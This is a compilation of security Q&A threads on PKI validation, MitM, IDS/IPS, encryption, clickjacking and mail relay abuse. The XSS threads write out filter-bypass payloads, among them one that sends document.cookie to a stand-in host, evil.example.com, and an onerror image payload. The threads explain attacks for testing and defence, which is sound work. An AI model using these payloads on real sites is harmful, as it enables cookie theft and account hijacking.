Can the Signature on it be verified using the previous cert in the chain? -- ie the one right above it that you just finished verifying.
Is it Expired? -- check the lifetime (aka validity period) of the cert.

* I chose to order the checks this way because I work with big corporate PKIs, and our CAs track expiry and revocation separately since it doesn't make sense to block users from viewing a corporate document just because it's old (think 10+ year-old email). [See the comment thread below with @SteffenUllrich for more on that].

In the web / ssl world you should check revocation and expiry at the same time and treat expired certs as if they were revoked. The reason is that most (all?) public ssl CAs stop tracking revocation when the cert expires. For example, imagine a cert that was revoked because of key compromise, then when it expires it drops from being "Revoked" to simply being "Expired" and the fact that it was revoked is lost.

[**] I'll generalize my answer a bit to include other PKI cases where you have to accept certs from root CAs that are not in your trust store. For corporate PKIs, often the root cert is not embedded in the end-cert, so you have go on a path-building expedition. This gets even worse when your root CA is cross-certified with other CAs, for example, corporate mail servers and ID badge systems when two companies merge, or if each department maintains their own root CA (which is common in government). If you have to support PKIs like this, then you'll have to devise a (probably complicated) online certificate path building scheme.

In response to Steffen Ullrich's comment, I just checked in the CA software that we use for our corporate PKI, the Entrust Authority Security Manager, and it certainly supports this:

and with this turned on you can also revoke certs even after they have expired. Unfortunately for you, the docs I'm looking at are not public, so I can't link them. I think the "partitioned CRL" is an Entrust-proprietary CRL format, so I have no idea if clients from other vendors support it, or if other CA software has similar features.

That said, unless you know (1) which CA software issued the certs you are checking, and (2) that it's configured to keep expired certs in the CRL, it is safer to treat Expired and Revoked as the same level of severity (or even the same error).


How to prevent man-in-the-middle attacks beside of SSL? I would like to discuss this scenario:

There is a HTTPS service which responds with signed keys to an authenticated client. These signed keys can be used for another service to return very sensible data. Let's assume that because of some internal security hole (unexperienced internship, exposed ssh key on git server, somebody sent the ssl ca with an email, ...) a person gets the certificate, and now can encrypt every connection and just listen on the server responding with one of the signed security keys which he can use to access the sensible data of the other service.

Is there any technique which could make the signed security key invalid when a man-in-the-middle attack may have occurred (maybe a second SSL tunnel)?

Well, there are many options other than SSL to prevent a man in the middle attack, but most all of them have a similar cryptographic basis.  Fundamentally, to ensure that a communication can't be attacked by a man in the middle you must be able to prove that a) both parties can validate the other and b) that no other party can monitor the communication.

Both of these are most commonly accomplished through a shared secret.  Asymmetric cryptographic operations can also be used where both parties have a trusted public key for the other, however this is much more difficult (computationally) than exchanging a shared secret and then using that.

The shared secret can either be pre-shared, such as in the case of an encrypted wifi network, or it can be negotiated through an authentication process.  For example, with SSL, the server validates itself to the client through signing the public key, the client then establishes a shared secret with the server by using the server's trusted certificate and the server then validates the client through a traditional login (or possibly a client certificate in rare cases.)

This general process is not unique to SSL, but the basic steps of verifying identity of one or both parties and establishing a secure communications key is the critical bits.  If, however, the root of the trust for that certificate was compromised, it would be possible for someone to man in the middle since they could pretend to be the server and open their own connection with the server and their own connection with the client.

In the event of a private key leaking, the certificate should be revoked via a revocation list.  This is generally published by a CA and is included as part of the signed certificate.  As a condition of validating the validity of the certificate, the revocation list should be checked for validity.


Can IPS system be used as IDS and vice versa I would like to know can an Network Intrusion Prevention System[IPS] be used as an Network Intrusion Detection System[IDS] and vice versa.

Can the Host based IPS be used as a host based IDS and vice versa ?

Is it necessary to have both IPS and IDS ?

Which one is more reliable Network based IPS /IDS or host based IPS/IDS

In IPS is essentially an IDS with extra funtionality. Both an IDS and IPS monitor and report on events, but an IPS can also take some actions to block an attack automatically. So, you could use an IPS as an IDS simply by disabling its reactive measures, but you can't go the other way as the reactive functionality is not there.

Which one you need depends on the security problem you are trying to solve, which cannot be answered as there's not enough information in your post. In general host IPS functionality is the standard in many industries, you could take your steer from that. That's talking purely about host based software, many companies back up host IPS with a network-based IDS system to monitor for events.


Stored Cross-Site Scripting Without Parentheses or Spaces I'm testing a commenting application that takes a link of the form http://google.com and puts it in an href tag as so:

The resulting comment is stripped of http:// or https://.

In testing, I've been attempting to utilize some form of http://"onmouseover="alert(1); this way I would have  on the page, but it hasn't been working.

More info:

Parentheses are filtered out. I've tried various encodings.

I'm assuming the following filter for my examples (it seems to match your description; I ignored the script and ; filter to simplify things, because you said you can get around them):

$hasSpace = preg_match('/\s/', $_GET['v']);
if ($hasSpace) {
    echo 'space!';
} else {
    $replaced = str_replace(array('(', ')'), '', $_GET['v']);
    echo 'link';
}

Include Stylesheet

It is possible to include a stylesheet via XSS like this:

">

You can now change the layout of the website, which isn't bad.

XSS via CSS

You can see one possible way of using CSS to execute JavaScript in the post I linked above (background-image: url('javascript:alert(document.cookie);'); it didn't work for me, but it might work for you).

And you can search the web for further possibilities (like expression for older versions of IE, etc).

Using onerror with space

  I don't really know how to utilize the

It basically says that if an error occurs, alert is to be called (with the error as argument). And then an error is created. If you use throw "XSS", then it will alert XSS.

Using onerror without space

The good thing? You don't even need a space: throw+1 works just as well.

If not only spaces, but all whitespace is filtered out, this will also not work. But you can change it to something, and it will still work (as something is not defined it will cause a reference error).

If space is filtered, but whitespace is not

If you have a filter like this: str_replace(array('(', ')', ' ') instead of the whitespace regex in my original code, you can replace space with + and do for example this:

"+onmouseover="document.location='http://evil.example.com/logger.php?c='%2Bdocument.cookie


Applications modifying the location of python.exe, what are the dangers? I have program called pdfelement installed (from Wondershare).
I also have Google Cloud Sdk installed.
Today, when I ran a command from the google cloud sdk (which uses python) I noticed that path where python is executing from is somehow modified to use \wondershare\creatorTemp (which isn't where I have Python installed.
Is there anything to be concerned about?

The problem is not restricted to Python. Basically it boils down to the problem that some application can install programs, tools or libraries on the system which then gets used by other application.
This can have several side effects. Sometimes it is clearly breaking other applications since the new tools or libraries with the same name work differently (like Python installation with different modules installed or Python2 vs. Python3 installed). But often the errors are more subtle, like when an older library or tool with security vulnerabilities is now used instead of a newer library which is on the system too.
The problem behind this is that the program installations on a typical Windows desktop system are not clearly separated from another. With other OS like Android or iOS there is a much harder separation between the apps so that they don't affect each other that much.


should one use "framekiller" code avoid others embedding https pages in iframes? I found various discussions about https being embedded in iframes for various reasons. I tested it and saw that one bank site escapes the iframe and the other allows being embedded in an iframe.

Google, for example, just does not load in an iframe.
Drupal, as a cmd doesn't seem that CMS's have such a functionality built in.

Is there a down side to using framekiller code or scripts to avoid click jacking and other types of attacks on one's site?

Would it not be good practice to do this in general?

Generally it's always worth having, or rather it doesn't hurt and can prevent clickjacking attacks.

Of course it does depend on your usage scenario though. For example if the content you are creating needs to be displayed in an iframe (perhaps an advertising network) then you probably don't want to break out of the frame.

A good resource to read on the various approaches to implementing this can be found here.

One other thing to bear in mind that it can give a false sense of security somewhat, it's a bit of a cat and mouse game with regards to clickjacking attacks and defensive measures. Adding well implemented clickjacking protection to your site is great and definitely worth doing, but you'll need to review it periodically to ensure that it's still fit for purpose, like everything else when it comes to security :)

EDIT

Just wanted to clarify that clickjacking defense should include both X-Frame-Options and a bit of javascript for older browsers which do not support X-Frame-Options headers. The javascript layer of the defense has several limitations though which are also disccused on this page.


Encrypting Data Without Sacrificing Query Performance We're building a cloud web app backed by a multi-tenant db. To maximize security we plan to encrypt each customer's data with a separate key.  The problem is querying.  Say they're in the report writer and want to sort their 1,000,000 customer table by LastName.  That would perform horribly because all 1M rows would have to be unencrypted and then sorted on every query!

Here are the only options I could come up with. What would you do? Are there other options?

Only encrypt NPI columns in the db and then never allow them to sort or filter by NPI values.

PRO: Protects sensitive data while still providing great query performance on non-NPI columns

CON: Not a great UX for our users
Same as #1 but keeps an unencrypted cache of NPI columns in RAM

PRO: Better UX

CON: Now DataInUse is unencrypted (is that any better than DataAtRest unencrypted??).  Also, filters with NPI and non-NPI columns would be very ugly to code. For example, if the filter was SELECT ALL CUSTOMERS WHERE LASTNAME LIKE "S%" AND BIZTYPE="MEDICAL", the lastname record ID's would have to first come from the cache and then sent to the database to further limit records by biztype.
Give up and keep all data unencrypted in the database and apply db encryption (SQLServer TDE) or disk encryption.

PRO: Great UX and performance

CON: Performance would suffer. Also, if the key were compromised all of our customers' data would be exposed and we'd be on the cover of the Wall Street Journal.

The problem is your solution:

"To maximize security we plan to encrypt each customer's data with a separate key."

Stop doing that.  Using a separate key for each customer doesn't scale.  Use a single key for the entire database.

Alternatively, encrypt the data using a hardware security module (HSM) before it's inserted into the database. Retrieve the encrypted data and then decrypt with hardware security module. Query performance will not suffer. Performance bottleneck is now move to hardware security module.


Is there a security risk in existence of those HTTP headers in responses? The following HTTP headers can be seen in responses on some sites:

Age: 12
Content-MD5: Q2hlY2sgSW50ZWdyaXR5IQ==
Via: 1.1 tacoma:3128 (squid/2.7.STABLE9)
X-Cache: MISS from tacoma
X-Cache-Lookup: MISS from tacoma:3128
X-Content-Digest: a513fd4a793de617e370699fe9a71c08be3b9476
X-Forwarded-Proto: https
X-Rack-Cache: miss
X-Runtime: 0.002216
X-Ua-Compatible: IE=Edge,chrome=1

At first sight those HTTP headers don't leak any sensitive information or introduce security vulnerabilities and make attacker's life easier.

But will presense of those headers in HTTP responses harm security in any way?

They don't directly affect security.

However, it is leaking information that may be valuable to an attacker.

For instance, the attacker can use the information contained in those headers to:

Determine the exact version of squid running on your systems
Determine the application backend (X-Rack-Cache: indicates Ruby, so it's most likely Rails or Sinatra)
Determine internal hostnames (tacoma likely refers to the frontend squid host) and ports
Give hints as to the caching strategy of the page (By making multiple requests and inspecting the HTTP Age header or some of the other X- headers you can tell whether a request resulted in a cache hit or miss).

So, yes - hiding these headers is just going to obscure the goings on behind, not protect them. But you don't have to make an intruders job easy for them :)


Is Telegram bot phone number sharing feature a sufficient way to authenticate a user? I need to integrate web application into Telegram using telegram bot. I need to do an authentication for client, and the web application authenticating user with his phone number + password.
I've found interesting method of obtaining user's phone number through special button

This method seems to be quite sufficient to do authentication without user's password, since user cannot send nobody's except his phone number, and all the authentication already done by Telegram.
But it's a little embarrassing for me, since I don't know how the phone sharing feature works, and how hard is it, to bypass or cheat on it.

*As the precaution, I think to do only authentication (may be even identification) through Telegram bot. And for sensitive actions will require additional authorization (but I don't know how, for now))

OK, it can seem insecure at first sight, but, if bot will perform user check right, it'll give 100% confidence in authenticity of user's phone number. And it's authenticity is proved by Telegram authentication mechanism (which is SMS verifcation).

As ximaera commented:

  Be careful to check whether the id of the user you're communicating with matches user_id value of the contact you've received

Any telegram app sending any contact as object with first name, last name and phone number properties. There's no other ways that Telegram API allowing to do it.
And the bot receiving this object with user_id appended by telegram server. This additional property equals to chat_id of user with this phone number.
So, it appears that it's enough to compare user_id from contact with chat_id of user, who sent this contact.

K.B. said:

  Phone numbers are pretty easily spoofed

Our webapp uses SMS-verification of phone-number during registration. The same is done by Telegram. Hence, our authentication mechanism isn't safer that Telegram's.

  If the user's device is stolen/lost/otherwise compromised, the token can be revoked

If the phone is stolen/lost, and not protected with PIN/fingerprint/other, the new phone owner will have all the resources to regain control on any user's account.

Of cource, security measures are not superfluous, especially when extending the zone of trust to a third-party service. But, I think that Telegram's security way ahead of ordinary application's security, so, once integrated, it can be further used even as authorization mechanism, instead of SMS verification codes.


Find information about host/user by his public key? Say, I was reviewing my log files and noticed that someone with certain public key tried to connect to my server and got access denied (because his public key is not in my authorized_keys file).

May I somehow gather more information about user/host with this associated public keys? For example, this key may be attached to Github profile and I can filter Github users by public keys and find the one that used to attempt to login into my server?

Thanks!

Yes, you can, if the user sends a public key. You can use a tweaked SSH server to grab the public key, and check it against whatever database or API you like. Problem is, you probably be able to use this as a real SSH server, so you'll probably want to move your real service to a different port.

Even if the key isn't available through some API to identify the user, the comment after the key may contain clues (e.g. skiddie@l337machin3). Edit: actually, I doubt that this field is sent to the server at all, but I'd have to check. In that case, this can be ignored.

Also, unless the attacker is unskilled, I doubt they would be using their personal keys for attacking random hosts.


What should a job description for a developer focused on secure coding practices look like? Recently the organisation that I work for has approved a new role to be focused on ensuring technical solutions are following secure development practices at the code development level.  While the candidate will be aware of network security, it will not be their primary focus where-as the solution design, testing framework, functional code and  CICD will be.

The title of the role may be something like: Principle Security Developer.

For a role like this, what are some of the things a candidate should be expected to know and form part of a job description?

I'm aware of OWASP and the top 10 security threats listed in there and it will form part of the job description.

Thanks.

I'd look up the 'security engineer' or 'security architect' roles for various companies and try to distill the expectation for such a role. Of course, it needs to be tailored to your company's environment and stack etc.

To quote a few, these are some of the expectations from such a role (taken from a few job postings for the aforementioned categories):

Understanding of the SDLC, as well as tools such as Git, RPM or DPKG, Chef, ansible or Puppet
Deep technical understanding of common security vulnerabilities and risks, as well as countermeasures and compensating controls
Experience with UNIX and Windows application controls and tooling
Usage of source code analysis tools Fortify, Coverity, Clang, or others
Proficiency in reading, writing, and auditing >languages used in your company< and the ability to pick up new languages/technologies
Knowledge of ubiquitous encryption technologies (PGP, SSH, SSL, etc.) and common protocols (RADIUS, LDAP, KERBEROS, SAML, etc.)
Some experience with Continuous Integration and development automation frameworks
Knowledge of common web application and mobile frameworks
Strong business sense (specially applicable for small startups)
5 (or more) years of demonstrated experience in product development, strategy, and market research
Previous professional information security experience, with penetration testing or "breaker" experience
Experience breaking down complex systems and applications to find flaws
Good interpersonal and communication skills
Ability to work well with designers and engineers
An analytical and metrics driven work style


Anti-CSRF mechanism in a form changing password with an old password input is it required? What is the risk for a form changing password with an old password input that doesn't have CSRF protection?

A form without an old password input, I understand the risk but if the old password input is present, what is the risk?

You're on the correct train of thought, in that as long as there is an element to the request that is not guessable/shared between users CSRF isn't possible. The issue at the core of CSRF is that cookies are sent automatically by the browser, which is a problem when the cookies are the only part of the victim's request that an attacker doesn't know.

Depending on your application, there may be some cases where not having a CSRF token on your password change request opens up some surface area for an attacker. Assuming that an attacker has a user's password:

the attacker can CSRF the victim and change their password on your application, which would bypass 2 factor authentication.
if your service alerts users about suspicious logins (e.g. from new browsers/regions), CSRFing the password change would not trigger an alert.


How do we cross-verify if the device is doing exactly what it is supposed to do? How do we know any device is doing what it is supposed to do? For example, Android is an open-source OS (ignore google libraries for now) and they do claim that all passwords will only be stored on the device. But what if they are storing it on their servers and this piece of code is not in the open-source version but it is there only in pre-compiled libraries? How do we check that the same code is there in the actual phone and open source version? Same goes for other devices like iPhones, routers, desktops etc.

Also, most manufacturers nowadays have encryption enabled which makes it impossible to monitor the actual content on the TCP/IP packet.

We can always remove the existing OS and install the open-source version but that's not possible in all cases, as in some it might be really confusing and might even need a lot of extra stuff that people don't usually have.

So my general question is how do we verify if the same code is there in the open-source version and pre-compiled binaries? I can think of reverse engineering but that would require great knowledge and skills which most people don't have.

There is a saying at my company:

  Quality Assurance is making sure that something does what it's supposed to. Security Assurance  is making sure that it does only what it's supposed to.

So unfortunately, I think your questions will lead you to a full security audit or penetration test, which, as you point out, requires great knowledge and skills which most people don't have.


Is the Ethereum blockchain truly a tamper-proof way to deploy distributed applications? The Ethereum website says that it provides a "cryptographically secure, decentralized, tamper-proof network" on which applications written in the Solidity contract language could be deployed. (https://www.ethereum.org)

Is Ethereum really a way to deploy distributed applications that are truly 100% tamper-proof?

It might depend on what you mean by "tamper-proof" and what they mean.

One of the benefits of blockchains is the ability to distribute a ledger of data across the entire network. Each node in the network enforces the integrity of the data for the rest.

If you can somehow express your application in a way that can be stored and verified in the ledger (like a hash of the binary), then yes, the blockchain algorithms would simply take care of the rest. Any unrecognised application would be ejected from the network.

If you went the next step so that updates to the apps were enforced by the network, then it is possible for the apps in the network to enforce a certain level of operation so that if one node was altered, then the rest of the apps would revert the altered node.

Those are 2 different types of "tamper-proof". You might need to ask Ethereum what they mean by the phrase.


Hidden digital watermark in a website which can survive .jpg screenshots? I'm trying to embed a secret watermark in a website so that I can link any screenshots to the user who created them. The page looks something like this:

It has a custom background (user can change it by providing a link) on top of which there's a semi-transparent window. The window contains text and opaque tiles which also contain information. The color of the tiles can change based on the information it contains (about 4-5 possible colors).

I tried implementing subtle changes to the tiles with dynamic .css, but a .jpg screenshot would ruin it. I played with the transparent window as well: I assigned a 50x50 repeating, transparent .png background and made subtle modifications, but the background image beneath and the .jpg compression would ruin that as well.

What are my options?

You could take your screenshots as .PNGs? But if you mean you want a secret watermark to survive someone else taking a copy and choosing their compression then I'm afraid nothing will help, because pixels (see the image attached). Then you would need a big old banner at the bottom and they can still blur it out.


How long should Windows 10 pins be? Pins in other contexts seem to usually be only four or six characters long, but this seems to be vulnerable to brute force attacks. However, I am not very knowledgeable about this, so there may very well be a method to prevent this. Is there?

The R2B2 can guess a 4 digit pin (10,000 combinations) in about 20 hours, not taking into account the delay for entering a phrase after every 4 failed tries. When using a 6 digit pin (1,000,000 combinations) this will rise with a factor of +/- 100, making it about 2000 hours (about 83 days). A 8 digit pin (100,000,000 combinations) would again raise this even higher.

The question is, when using a 6 or 8 digit pin (the 4 digit is way to low imo), why not use a password? What is the added value of a pin when you could also use a 6 or 8 digit numerical password, besides having the intruder know he only has to try numerical values?


How can I use a MitM attack to modify intercepted contents on the fly? (educational) I'm trying to start learning about pentesting, and for my first self-learning project, I want to intercept communication between a client (Laptop) and a server (Ubuntu). They are communicating through TCP using JSON-RPC objects.

The client sends something like:

{
    "jsonrpc": "2.0",
    "method": "Valid?",
    "params": {
        "Version": 4.2,
        "Release Date": 10/23/17
    },
    "id": 3
}

and the server response is something like:

{
     "jsonrpc": "2.0",
     "result": 0,
     "id": 3
 }

Now what I want do is to intercept the communication, modify the JSON objects they pass to each other.

I've been googling around and I found MitM, but I don't know if I can use it in this case, because MitM needs a MAC address and it can only be done if you are on the same network. But not in my case, the Laptop is on a separate network from the server and PC that I'll be using.

Ok, so in order to modify stuff on the fly, you can't just be observing. You have to set up shop in between the server and the client.

In other words, the communication has to go through you. You can do this by pretending to be a router...

netsh wlan set hostednetwork

... etc etc etc

However, I think the best tool for you might be Charles. Set up the proxy and you're good to go. The problem with Charles is it isn't really a free tool. Older versions of it are free though if memory serves.


Using HTTPS, can the target domain be seen? If I go to https://google.com/q=test_query with from my browser, what traffic can be seen on the router?

Can the domain name (google.com) be seen?
If so, can I block all of the traffic to a web page by disallowing access to that domain? Does anything change if the website has multiple IPs (different servers)?

Thanks!

You can block by IP and by domain name. If the domain uses different IP addresses, and you block only one IP, the site will keep working with the other IP addresses. If you block the domain, and the site works by opening the IP address in the browser, it will keep working as well.

You can block domain names and IP addresses by port number. So you can block 443, and HTTPS is blocked for that domain, or IP, etc.

The router can see the domain when using HTTPS, but not the path and query.


Do Transient, Volatile Servers Require Antivirus Scanners? We are often asked whether we install antivirus software on our servers, specifically the kind of signature-based scanners that run on a schedule. Client security questionnaires and ISMSes often mention it.

For long running servers this naturally makes sense. Although it theoretically opens the window to attacks through the compromise of, say, ClamAV's signature update process, this is far less likely than other forms of infections that periodic AV scans can detect and quarantine.

However, modern infrastructure is often based on immutable "machine images", such as Amazon Web Service's Amazon Machine Images, which are used as the base for groups of highly transient servers that scale up and down throughout the day based on overall usage.

Individual servers in these groups can last anywhere from one hour to six hours, but rarely last longer than a day in our case. Asking in sysadmin/devops circles, the consensus seems to be to not bother with antivirus on these servers.

Some of the points I've heard against AV on such servers are:

The servers die in a day or less in most cases, so malware would have a hard time persisting.
When do you schedule the scan? Not on startup, as that's presumably when the infrastructure needs the new server's resources the most, so even a niced scan process could be a problem.
The basis of new servers is from an immutable image, so automatic quarantining is only fixing the problem for a single server for a short period of time, not fixing the problem in the base image that allowed in infection to begin with.

However, I find myself questioning this view for these reasons:

Modern viruses often have good network propagation mechanisms, so spotting malware even on transient servers seems important.
Combining antivirus scanning with centralised logging allows alerting of malware even if automatic quarantining isn't effective in the long term on a transient, short lived server. Just allowing staff to know about the presence of malware in a transient group of servers is critical.
Service managers like systemd allow offsetting the first scan and scheduling after that, so avoiding hitting startup time is easy.

Could some of the experts here give their view on this? Am I right to still want antivirus scanners on such servers?

You are asking yourselves the right questions but asking us the wrong one.

Security controls, like AV, are meant to address threats in order to reduce the impact to an acceptable level. You have identified the threats and the likely impact of those threats. Great! Now you need to see if signature-based AV addresses those threats and reduces impact to an acceptable level (or if the impact levels are already acceptable).

Can you address the propagation issue by changing the firewall/networking to block connections initiating from the front-facing servers? If so, then AV might not be necessary.

Could you gain the threat intel ("allowing staff to know about the presence of malware") by logging the non-transient servers? What does the data from the transient servers give you that your permanent servers do not? What's the likelihood that the transient servers will get infected uniquely? If you can get the data from other sources, then you might not need AV.

How do you update the AV database? Will you have to launch the server, update the database, then run a scheduled scan? Is this delay acceptable for the level of service you require? If the delay does not make sense for you, then you might want to use other mitigations.

But the underlying question is about the type of AV that you are assuming. You are assuming locally installed, signature-based AV, but there are other, more dynamic types that do not require database updates and only scans new or incoming data. Network-based, in-line, AV is possible, as well as IDS.

So the question you need to ask is if this one implementation meets your needs or if the risks can be met by other means.


RSA and encrypted authentication Symmetric algorithms such as AES provides modes such as GCM which can be used for authenticated encryption. Assuming that I'm using RSA instead of AES, does it still make sense to add authentication checks based on HMACs to encrypted data?

[EDIT] The usecase is that I'm to store data on a machine and wish to encrypt it. I can choose between RSA and AES, however, verifying its authenticity(whether or not its been tampered with/replaced etc) before or during decryption is important.

I don't really know what's the problem ? If you want secrecy you use encryption if you want authenticity you use Digital Signatures, and in the same regard integrity. If you sign a Hash(RSA) either before or after encryption (AES). It depends on when you want to validate its integrity.


Why is location very highly secured info on smartphones? I can understand that an app needs explicit permissions to access it if the smartphone has a permission system (e.g. Android, Windows Phone). But how does location get so much intention than others (say, contacts), as I see Windows Phone (and iOS which does not even have a permission system) gives an extra notification for the first-time access to the location service.

What makes location so special?

Well, many people consider Location data to be sensitive, as you'd imagine. The classic example is someone being stalked - they don't want their location out on the Internet anywhere.

I suppose what's special about location is that it usually happens automatically and so it's easy to accidentally leak information.

For example, I'm unlikely to accidentally put my home address on my Facebook wall by typing it in and pressing "post".

But suppose I use my phone to take a photo of my dog looking cute in the back yard and tweet it. If my twitter client geo-tags the picture automatically and silently, then my address is going to leak without me realising.

One other factor: there have been a couple of recent security breaches in relation to location on phones, particularly "Locationgate" on IOS and the whole CarrierIQ thing. You could argue that both were blown out of proportion by the media but they certainly got a lot of attention - questions in Congress, even - so vendors are taking particular care when location is involved.


Found XSS in chat form in bug bounty but they say it's only self XSS. How to leverage it? I have found an XSS bug in a chat form on a bug bounty target. When I enter in the chat form input <button onclick="alert(1)">click</button> and after that I click the button a popup alert appears. I`ve sent the bug but they said:

Thank you for your submission. However, based on the current
circumstances this finding qualifies only as a Self-XSS! Could you
elaborate this and provide us with more reproduction steps on how we
could take leverage of this finding and use this against other
Users/Victims?
For now, I am lowering this to the P5/Informational variant but do let
us know If you can escalate this further.

How can I escalate this further?

There are two "improvements" I can see here.
First, target the person you are chatting with, not yourself. Can you start a chat with yourself on different devices? Send the attack from device A, and see if it can be executed on device B. If this is more like a customer support chat, where users don't chat with other users, this may be tricky. If you can't see the application from the perspective of the person receiving your attack message, you can't really know if it is executed or not.
Second, make the attack execute without any user interaction. An onerror is one way to do this:
<img src="doesnotexistatall.com/" onerror="alert('xss')">

However, without adressing the first point it will still just be self-XSS.


SSL connection between MySQL, Apache and the User's device I set up SSL connection on my apache web server and I just would like to find out is it enough to secure my connection between the MySQL server, the apache web server and the user's device. Because I can set up SSL connection on the MySQL server too. So, do I have to set it up when the database server is on an other computer? Because I think the web server and the database server are on the same computer the MySQL SSL connection makes no sense.

The answer seems quite simple to me. The final decision however, depending on the context, may not be as simple as it implies the notion of trust.

SSL is a protocol allowing you to establish a secure connection over an untrusted network. The usefulness of SSL in your case therefore lies in this question:

Do you trust the network between the web server and the database server?


Impersonating Law Enforcement Obviously impersonating a law enforcement officer on an engagement is illegal but badguys don't care about the law. If a company wanted to allow impersonating LE and have it in clear writing in the contract does that make it so the tester won't go to prison? Has anyone ever been on an engagement or know of one where this happened?

Prior to any social engineering engagement make sure your contract is air tight. Also, when impersonating a police officer make sure you are allowed to do so and that it is not forbidden by law.  Even when having a free out of jail card it could still be that it is illegal. The law still supersedes whatever you put in a contract. I'd suggest contacting your local police office first through your lawyer and have consent in writing from the police responsible.

If you haven't contacted your lawyer yet, please do so, while we can share experiences every country and region has it's own local laws which can differ significantly. The only way to ensure the safety of your testers is to go through a lawyer.


RFC 5755 Attribute Certificate Validation According to this explanation:

Manually walking through the signature validation of a certificate

I'd like to know how is the validation process of an RFC 5755 attribute certificates, because it does not carry the public key from it's issuer. I still did not find a good and clear explanation.

because it does not carry the public key from it's issuer

A Public Key Certificate (PKC) doesn't contain the public key from it's issuer neither.  A PKC contains the name of the issuer and is digitally signed by that issuer.

Similarly, an Attribute Certificate (AC) also contains an Issuer field (section 4.2.3 of RFC 5755, compared to section 4.1.2.4 of RFC 5280), and an Signature Algorithm (section 4.2.4 of RFC 5755, compared to section 4.1.2.3 of RFC 5280).

Section 5 of RFC 5755 describes the validation process and includes:

  The AC signature must be cryptographically correct, and the AC
    issuer's entire PKC certification path MUST be verified in
    accordance with [PKIXPROF].

[PKIXPROF] here refers to RFC5280 (section 6).  Therefore, an AC is verified the same way as a PKC.


Considerations for having Hashicorps vault on the open net I am doing a bunch of test/data scraping projects across a few different platforms that consume read-only and not really important API keys. I can only foresee minimal damage if they were to get out.

With that said, I cant see any glaring reason vault couldn't distribute them safely is there a risk I'm missing using Vault past the demark?

Well, one consideration is potential cash overflow attacks possibly. If an attacker has access to private API keys of yours that function like this:

Make request to API
API logs request and charges your account 1/200 usages
Every usage past 200 usages costs $0.05

An attacker can cause you to go into financial problems like that. See: https://www.owasp.org/index.php/Cash_Overflow

Some other abuse cases for APIs may be found here:
https://www.owasp.org/index.php/Category:API_Abuse

Recommendations? I highly recommend AWS secrets manager or Azure confidential compute. They can both different levels of assurances for the security of your API keys in different ways.

https://aws.amazon.com/secrets-manager/ - Works by providing an API that you can store other API keys in securely using FIPS compliant encryption, then all you have to secure is your secrets manager secret keys/api info.

https://azure.microsoft.com/en-us/solutions/confidential-compute/ - Works by computing secure operations in a TEE (Trusted Execution Environment), a cryptographically secure and logically separated processing unit.


How do "Confidence images" on my bank's login page improve security? My bank recently changed their login process to show a preselected image which they label a "Confidence image" - ostensibly to allow a human website user to authenticate the bank's website as not being a spoof.

The old login process was:

Visit BankName.com (entire site is secured with an EV certificate)
Click Login link, a GET request to their login page
Enter username and password, POST submit form
Receive HTTP 303 redirection to account dashboard page

The new process is:

Visit BankName.com (entire site is secured with an EV certificate)
Click Login link, a GET request to their login page
Enter username and password, POST submit form
Receive HTTP 303 redirection to "Confidence image" page, which shows a picture I previously selected, it also prompts me to re-enter my password for a second time. After POSTing this form it redirects to my account dashboard page.

I don't see how this adds any actual security - any MITM, or any proxy for that matter (assuming the TLS security is compromised somehow) could forward the confidence image and I would recognize it. Similarly a spoof website need only forward my own credentials to the real bank login page, get a copy of the confidence image, and re-serve that - which would fool a less sophisticated user very easily.

Only a very basic spoof website (with a hard-coded confidence image page) would cause users to see the discrepancy, but the biggest problem is that it only shows the image after I have already entered my password - so the feature is useless because the spoof or attack website has already got a copy of my username and password.

I remember at one point Yahoo's OpenID login page did show a confidence-image, while that was after I entered my username,t crucially it was before I entered my password (so the login process was split between two forms) - I believe it was also based on a HTTP-only cookie, so logging in to Yahoo in a clean browser wouldn't trigger the confidence image.

Using human-intelligence to perform mutual-authentication seems like a bad idea - X.509 certificates already perform the role of server authentication, and EV certificates make this easier for less sophisticated users ("look for the green"). I fail to see the motivation... or success behind this move, and am frustrated by having to jump through another hoop to login to my bank.

UPDATE: A few weeks after my bank introduced these confidence-images they changed the login process so you enter your password after seeing the image:

Visit BankName.com, click the Login link
Enter username only.
Response page has the confidence-image and a password input box
Submit with the correct password to get to your account dashboard

An interesting comment by Joshua suggests that these images could help in MITM situations provided every image request is logged and could be used as evidence of a phish attack, like so:

User clicks link in phishing email, opens TotallyNotFakeBank.com/login
This login page only has a username prompt.
After submitting the username, the MITM server makes a new request to the real bank website and gets the real confidence image. This request will be from the MITM's own IP address
(Hypothetically the MITM site could use the client/victim to make an AJAX request for the image, but if CORS and other restrictions are set-up correctly this should be impossible)
The MITM generates the fake confidence-image page and re-serves the image to the victim, and the victim passes their password.
The victim subsequently loses money after the attackers use the credentials to get money from the account.
The victim informs their bank and the bank checks the access-logs of the confidence image and sees that the original request for the confidence-image did not come from their usual web-browser, leading the bank to believe their customer's story instead of assuming it was a false report.

You are describing a variation of SiteKey.

Your bank implements it incorrectly because it asks for both username and password before showing the image. If the page were an attacker's he couldn't show you the correct image, but that doesn't matter because he already has your username and password.

If correctly implemented, it is still greatly ineffective.


Postfix periodic relay access denied I administer an Ubuntu Server 14.04 which acts as a mail server running Postfix and was configured following most parts of this tutorial: http://www.pixelinx.com/2013/09/creating-a-mail-server-on-ubuntu-postfix-courier-ssltls-spamassassin-clamav-amavis/

I have ports 25 and 143 open to the public use STARTSSL communication for both in and out and can connect using IMAP from the outside without problems.

I have fail2ban enabled (and actually bans IPs quite frequently) and also have configured some parameters to prevent spam:

smtpd_helo_required = yes
smtpd_delay_reject = yes
disable_vrfy_command = yes
smtpd_sender_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination
smtpd_relay_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination

The question is that from a couple of months ago, I see this trace in the mail.log every few hours:

Apr 23 05:52:08 myhost postfix/smtpd[9727]: NOQUEUE: reject: RCPT from 118-165-146-33.dynamic.hinet.net[118.165.146.33]: 554 5.7.1 <gk49fawn@yahoo.com.tw>: Relay access denied; from=<z2007tw@yahoo.com.tw> to=<gk49fawn@yahoo.com.tw> proto=SMTP helo=<xxx.xxx.xxx.xxx>

IP addresses change regularly, and recipients also do change from time to time, but the sender is always the same. Also, since it appears only a couple of times a day, fail2ban does not react against it.

I understand that the relay is being denied properly so it is not a big deal, but should I worry about this and/or take any extra action against it?

These are automated bots (most likely running on compromised machines) that try to use your server as an open relay to send their spam - your server is correctly configured and rejects their attempts so everything is fine from this side.

You say that it only happens every few hours so it isn't really worth trying to do anything about them, the load they put on your server is minimal.

